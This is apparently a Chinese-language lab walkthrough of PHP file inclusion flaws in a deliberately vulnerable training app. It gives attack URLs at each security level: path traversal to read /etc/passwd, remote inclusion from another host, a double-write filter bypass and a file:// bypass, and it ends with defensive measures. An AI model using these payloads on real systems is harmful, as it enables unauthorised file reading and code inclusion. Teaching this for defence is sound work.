文件包含漏洞
文件包含漏洞,是指当服务器开启allow_url_include选项和allow_url_fopen选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取
文件包含漏洞分为本地文件包含漏洞(LFI)与远程文件包含漏洞(RFI),远程文件包含漏洞是因为开启了php配置中的allow_url_include选项(选项开启之后,服务器允许包含一个远程的文件)
LOW级别
点击页面中的连接,会对相应的文件进行包含

本地文件包含
构造绝对路径URL
1 | http://172.16.12.93/vulnerabilities/fi/?page=/etc/passwd |

构造相对路径URL
1 | http://172.16.12.93/vulnerabilities/fi/?page=../../../../../../etc/passwd |

远程文件包含
远端服务器主页:

构造URL
1 | http://172.16.12.93/vulnerabilities/fi/?page=http://192.168.1.3/ |

Medium级别
Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将http://、https://、../、..\替换为空字符,即删除
本地文件包含
可以以绝对路径来绕过../、..\过滤
1 | http://172.16.12.93/vulnerabilities/fi/?page=/etc/passwd |

远程文件包含
以双写绕过http://、https://过滤
1 | http://172.16.12.93/vulnerabilities/fi/?page=hthttp://tp://192.168.1.3/ |

High级别
High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file开头的文件
可以利用file协议绕过防护策略
当用浏览器打开一个本地文件时,使用的就是file协议
构造URL
1 | http://172.16.12.93/vulnerabilities/fi/?page=file:///etc/passwd |

Impossible级别
Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为include.php、file1.php”、“file2.php、file3.php之一,彻底杜绝了文件包含漏洞
文件包含防御
PHP中使用open_basedir配置,将访问限制在指定区域过滤
../、..\等等特殊字符禁止服务器远程文件包含(
allow_url_include设置为Off)白名单限制可包含的文件